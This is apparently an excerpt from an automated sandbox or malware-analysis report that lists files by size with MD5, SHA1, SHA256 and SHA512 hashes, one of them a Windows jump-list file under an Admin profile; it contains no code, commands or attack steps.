SHA5126e229c7caed9fcf04d939640121e1eb8d7a0a789e6b2b6c1ddfe71f175a6e2be0e946eb903c75b73cc16e24fccd2a07f48e10ec9d398e0236af00ab09cbc6032
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5067b3d9a2b0c8fbb5bc6adb0b563f58f
SHA165db31670a031e255f92941a41fc89d0335ef7f1
SHA2562223b038a8986d1b6c52748d4c74edb6f5076b8caec2f2abddc61536b0b87539
SHA5126e2f90d5a627a2c17b7349fefb68953db15581d680b3815f1f3fc671e67a27046f8442ceec33f384a918303ccc18a0a5e65bcd9ab3d45e41bc45f0ecc437cd1d
-
Filesize
36KB
MD5dd4338e1e665def518e906fe13144e80
SHA196cf552b9f653214759126f1f1450c957fc0e35a
SHA256a37760f7f7ddfd018727d90c4cf70361ace49db2cb2e8e92683a3e350c24914e
SHA51208ac4633644554aaa163922900a74e46bd97038430066620376b8bad9d460369c3d96cd1de7d683176c1ae0041293af64d1d974891448eb1a2b9d2237124acff
-
Filesize
16.2MB
MD5a76e0b6be9d821a2fc74dc3f121d66ee
SHA110fc9ba26ab984fed2a5060823c486fa63c88ceb
SHA2567a0c74abdc9bb50638eca4cb4d2bc4e9fa494d3c77de36e8be16fff32ac1dcb2
SHA5129fb73cc601726266ead26a43d4dc413fd2ed602eea08e6475803bf69e07628a8f0738e191ca130d929c3f179fae85565f446e8bdc74b91f36004683ca23532f6
-
Filesize
82KB
MD52574050f14583864f1f53bb04b07203c
SHA12a85b80028afd1c933e6878be797550c76d72d08
SHA25658521cdc5c3cfd4a2e74052363f0d328a64e2520826d43b4779c9d696a6a100e
SHA5129759172647ded31ee80cb4d1057b0309ea78ea8a38f9e495059300d1be50ccb733ad33f17f2140665685830dbfbf7e39f059a9a995200544de937ea5cb3e8b92
-
Filesize
4.6MB
MD5121a460ad5f055c728a21cf1cbae76a4
SHA1877098bf8a8188c3e4a8f0f6184f82c69b1eeb05
SHA2567d28967d25b3b93150e39188f82637f74fbaca87c4ee668cc46f4d2d1b1bef1f
SHA512d1ef7bf6f76b1a8351085d1ec9b08982d27f8bfc259da1075e229fdd6adefba15ca1dd48b21ccb569020dda9676e4198503fa9959feb7a3495bbcfcde5b20571
-
Filesize
41KB
MD5e87f50c6b852afdf739c0df4c877e10a
SHA128382f71b388e44795db66ccd8fb269bdb30a894
SHA256db620b7b0e77fe0ab836cfcbf02ad32af768331cfa789988507ec7ca217a7d08
SHA512615b7acfc8628aed2690781b6cf3839124ceb8c1b0a03f67ae7f5225b528d989de46ddbc99b2aaf4369c2ebebae69844395f8b376a0022ccea74b0e4a06845c5
-
Filesize
18.9MB
MD5fd705993357a307d8c8531f9c243edb2
SHA197ee04342d95ff5134e5e9e9444e274c82b57770
SHA2561662452993dc59810144c740225046fc61b7238a1e6f6cad1803e21cf95c5b63
SHA5122606a92ad9fa57dcc533ea993f3a046e3b4af2a160274c72e6561d39acd681e3bd409cc245deac30e454ec0ee43e1f8224a4853fc92fee85a759b1af26180b0c
-
Filesize
71KB
MD5899d3ed011eb58459b8a4fc2b81f0924
SHA180361f1e0b93143ec1ddfee156760f5938c85791
SHA2565e3f311ae67f046b56435067bcdd39fbf836fa0421fbc8c8b0e43e8e47524954
SHA512802ee4f8d25417589c7e62f0acc9dc2dc8f1d32654ca435f6aeae2926e6900373648790451c9143856a772a49c2a8f3c8659c5b8260f0f67559aeef875825f05
-
Filesize
103KB
MD54d4c98eca32b14aeb074db34cd0881e4
SHA192f213d609bba05d41d6941652a88c44936663a4
SHA2564182172a01bdfc08c5cf7e8652f7d9d81858345a770e2b6b507840e4c1c7764f
SHA512959da8bbf6084e802ed366de8d240382b8a5ab2f18bc58881f42ecb7a8ed082d0e078b3ad18dbf90ac0a14cd491b5ac8b00cf1f0a266bdb7ebb8d95c5c71cacf
-
Filesize
184KB
MD5a776e68f497c996788b406a3dc5089eb
SHA145bf5e512752389fe71f20b64aa344f6ca0cad50
SHA256071e26ddf5323dd9ed6671bcde89df73d78bac2336070e6cb9e3e4b93bde78d1
SHA51202b1234ad37b768b9bcba74daf16e6b45b777f340dac0b64a85166fdd793955e3d7f88a95142b603b198e504ef1173618f840511bcdb70448f71aed19c009073